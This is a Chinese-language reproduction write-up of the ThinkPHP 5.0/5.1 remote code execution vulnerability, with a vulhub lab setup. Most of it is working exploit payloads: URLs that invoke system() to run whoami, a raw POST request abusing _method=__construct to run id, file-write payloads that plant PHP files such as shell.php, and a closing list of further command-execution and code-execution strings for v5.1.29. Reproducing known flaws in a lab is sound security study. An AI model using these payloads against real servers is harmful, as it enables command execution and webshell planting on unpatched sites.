0x00 概述
這個漏洞是Thinkphp官方在2018年底發布的一個安全更新中修復的一個重大漏洞,是由於框架對控制器名沒有進行足夠的檢測會導致在沒有開啟強制路由的情況下可能的getshell漏洞,受影響的版本包括5.0和5.1版本。
0x01 影響版本
5.x <= 5.1.30
5.x <= 5.0.23
0x02 環境搭建
使用vulhub環境進行搭建
git clone https://github.com/vulhub/vulhub.git cd vulhub/thinkphp/5-rce/ docker-compose up -d
搭建完成后訪問http://ip:8080

環境搭建成功
0x03 漏洞復現
環境1:thinkphp v5.0.20
1.遠程命令執行
poc:
http://192.168.217.131:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

2.遠程代碼執行
poc:
http://192.168.217.131:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

3.寫shell
poc:
http://192.168.217.131:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php phpinfo();?>" >>1.php
執行之后會在根目錄下寫入1.php ,內容是輸出phpinfo();

環境2:thinkphp v5.0.23
遠程命令執行
poc:
POST /index.php?s=captcha HTTP/1.1 Host: yuorip Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 72 _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

其他poc記錄:
v5.1.29: 1.代碼執行 ?s=index/\think\Request/input&filter=phpinfo&data=1 ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 ?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 2.命令執行 ?s=index/\think\Request/input&filter=system&data=操作系統命令 ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系統命令 ?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系統命令 3.文件寫入 ?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();> ?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
